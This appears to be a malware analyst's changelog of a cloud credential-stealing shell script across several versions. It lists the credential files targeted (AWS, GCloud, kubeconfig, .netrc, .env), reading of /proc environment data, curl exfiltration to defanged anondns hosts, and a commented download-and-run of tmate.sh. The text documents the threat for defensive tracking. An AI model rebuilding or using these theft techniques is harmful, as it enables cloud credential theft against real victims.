[*] updated function name from int_main() to run_aws_grabber() (though not executed in script)
[*] updated function name from send_aws_data() to send_data()
[*] updated function name from files_aws() to cred_files()

[+] added new empty AZURE_CREDS_FILES file name array (though not used in script)
[+] added new AWS_CREDS_FILES file name array (though not used in script) with the following values moved from CRED_FILE_NAMES file name array: credentials, .s3cfg, .passwd-s3fs, .s3backer_passwd, .s3b_config, s3proxy.conf
[+] added new GCLOUD_CREDS_FILES file name array (though not used in script) with the following net new values: config_sentinel, gce, .last_survey_prompt.yaml, config_default, active_config, credentials.db, .last_update_check.json, .last_opt_in_prompt.yaml, .feature_flags_config.yaml, resource.cache
[+] added copy of duplicate values access_tokens.db and adc.json from CRED_FILE_NAMES file name array to GCLOUD_CREDS_FILES file name array
[+] added netrc, kubeconfig, adc.json, azure.json, env, clusters.conf, grafana.ini and an empty string to CRED_FILE_NAMES file name array
[-] removed credentials.db from CRED_FILE_NAMES file name array
[-] removed dload function (downloader capability, i.e. "curl without curl")
[+] added commented dload function invocation for posting final results
[+] added commented wget command to download and execute https://everlost.anondns[.]net/cmd/tmate.sh
[*] replaced execution of dload function with native curl binary
[*] replaced references to /tmp/.curl with native curl binary
[-] removed base64 encoding of final results
[+] added username and password to curl command: "username=jegjrlgjhdsgjh" "password=oeireopüigreigroei"
[*] updated URI for posting final results from /in.php?base64=$SEND_B64_DATA to /upload.php
[*] renamed LOCK_FILE from /tmp/...aws4 to /tmp/..a.l$(echo $RANDOM)
[-] removed rm -f $LOCK_FILE command
[-] removed history -cw command (clear history list and overwrite history file) at end of script
[*] converted numerous long commands into shorter multi-line syntax

# v2(b9113ccc0856e5d44bab8d3374362a06) -> v3(d9ecceda32f6fa8a7720e1bf9425374f)
[+] added execution of previously unused run_aws_grabber() function
[+] added function get_prov_vars with nearly identical strings /proc/*/env* command found in previously removed strings_proc_aws function (though with previous grep 'AWS\|AZURE\|KUBE' command removed)
[+] added logic to search for files listed in previously unused file name arrays: AWS_CREDS_FILES, GCLOUD_CREDS_FILES
[+] added new file name array MIXED_CREDFILES=("redis.conf") (though not used in script)
[+] added docker-compose.yaml to CRED_FILE_NAMES file name array
[*] updated env to .env in CRED_FILE_NAMES file name array
[-] removed config from AWS_CREDS_FILES file name array
[*] updated echo output section header from INFO to AWS INFO
[*] updated echo output section header from IAM to IAM USERDATA
[*] updated echo output section header from EC2 to EC2 USERDATA
[-] removed commented dload function invocation for posting final results

# v3(d9ecceda32f6fa8a7720e1bf9425374f) -> v4(0855b8697c6ebc88591d15b954bcd15a)
[*] replaced strings /proc/*/env* command with cat /proc/*/env* command in get_prov_vars function
[*] updated username and password to curl command from "username=jegjrlgjhdsgjh" "password=oeireopüigreigroei" to "username=1234" -F "password=5678"
[*] updated FQDN for posting final results from everlost.anondns[.]net to ap-northeast-1.compute.internal.anondns[.]net (masquerading as AWS EC2 instance FQDN)
[*] updated URI for posting final results from /upload.php to /insert/keys.php

[*] updated FQDN for posting final results from ap-northeast-1.compute.internal.anondns[.]net to silentbob.anondns[.]net
[+] added SRCURL variable to store FQDN (later expanded in final curl command's URL)
[+] added if type aws logic to only execute run_aws_grabber function if AWS CLI binary is present

-------

# v5(f7df739f865448ac82da01b3b1a97041) -> v6(1a37f2ef14db460e5723f3c0b7a14d23)
